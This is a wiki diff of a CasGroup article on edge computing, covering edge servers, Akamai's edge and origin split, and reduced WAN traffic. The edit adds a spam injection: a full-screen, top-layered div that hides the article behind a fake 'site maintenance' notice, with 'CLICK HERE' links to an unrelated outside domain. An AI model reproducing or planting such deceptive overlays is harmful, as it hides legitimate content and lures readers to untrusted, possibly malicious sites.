Edge Computing
From CasGroup
(New page: '''Edge computing''' tries to address the performance, reliability, and scalability problems that can be found in many larger Web applications. It emphasizes the importance of servers at t...) |
|||
| Line 1: | Line 1: | ||
| + | ---- | ||
| + | <div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;"> | ||
| + | ---- | ||
| + | =[http://ojiqovam.co.cc Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page]= | ||
| + | ---- | ||
| + | =[http://ojiqovam.co.cc CLICK HERE]= | ||
| + | ---- | ||
| + | </div> | ||
'''Edge computing''' tries to | '''Edge computing''' tries to | ||
address the performance, reliability, and scalability problems that can be found | address the performance, reliability, and scalability problems that can be found | ||
| Line 5: | Line 13: | ||
and client on one side, and applications and servers on the other side. The edge servers | and client on one side, and applications and servers on the other side. The edge servers | ||
are located at the Internet Service Provider (ISP) between clients or customers and | are located at the Internet Service Provider (ISP) between clients or customers and | ||
| - | application service provider. The proximity of the | + | application service provider. The proximity of the "edge servers" to the clients are |
useful to decrease response time. | useful to decrease response time. | ||
The most frequently used part of the application is globally distributed to | The most frequently used part of the application is globally distributed to | ||
| Line 13: | Line 21: | ||
Although it sounds similar, it has nothing to do with the [[Edge of Chaos|edge of chaos]] | Although it sounds similar, it has nothing to do with the [[Edge of Chaos|edge of chaos]] | ||
principle. It is a paradigm proposed by IBM, Akamai and Sun. | principle. It is a paradigm proposed by IBM, Akamai and Sun. | ||
| - | In order to to use | + | In order to to use "EdgeComputing", a site developer should |
- according to Akamai - split the application into two components: | - according to Akamai - split the application into two components: | ||
an edge component and an origin component. The code in the edge component is | an edge component and an origin component. The code in the edge component is | ||
| Line 19: | Line 27: | ||
the origin part is deployed in the traditional manner within the central | the origin part is deployed in the traditional manner within the central | ||
enterprise data center, see [http://www.akamai.com/devnet/pdf/p586-davis.pdf]. | enterprise data center, see [http://www.akamai.com/devnet/pdf/p586-davis.pdf]. | ||
| - | Many client requests can be processed directly at the | + | Many client requests can be processed directly at the "edge" without |
(Wide Area Network) WAN communication. If the edge server | (Wide Area Network) WAN communication. If the edge server | ||
can answer a request immediately, it does, otherwise it will ask the origin | can answer a request immediately, it does, otherwise it will ask the origin | ||
